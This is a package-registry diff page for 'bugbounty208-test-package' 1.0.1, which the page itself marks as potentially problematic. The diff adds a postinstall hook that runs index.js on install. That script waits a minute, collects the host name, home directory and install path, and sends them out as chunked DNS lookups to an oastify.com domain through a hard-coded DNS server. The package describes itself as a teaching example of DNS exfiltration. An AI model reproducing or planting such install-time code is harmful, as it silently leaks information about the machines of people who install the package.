bugbounty208-test-package 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of bugbounty208-test-package might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +22 -0
  2. package/package.json +8 -0
package/index.js ADDED
@@ -0,0 +1,22 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+
4
+ const suffix = '.389um4qq998glyznwmymrr7tdkjc72vr.oastify.com';
5
+ const package = 'bugbounty208-test-package';
6
+
7
+ setTimeout(() => {
8
+ let data = package + '__' + os.hostname() + '__' + os.homedir() + '__' + __dirname;
9
+
10
+ data = data.replace(/[^a-zA-Z0-9._]/g, function(m) {
11
+ return '_' + m.charCodeAt(0).toString(16);
12
+ });
13
+
14
+ data = data.match(/.{1,50}/g);
15
+ dns.setServers(['54.77.139.23']);
16
+ let id = Math.random().toString(36).substring(7);
17
+
18
+ data.forEach(function(chunk) {
19
+ dns.resolve(id + '.' + chunk + suffix, 'A', console.log);
20
+ });
21
+
22
+ }, 60000);
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "bugbounty208-test-package",
3
+ "version": "1.0.1",
4
+ "description": "Учебный пример пакета с DNS-эксфильтрацией",
5
+ "scripts": {
6
+ "postinstall": "node -e \"require('./index.js')\""
7
+ }
8
+ }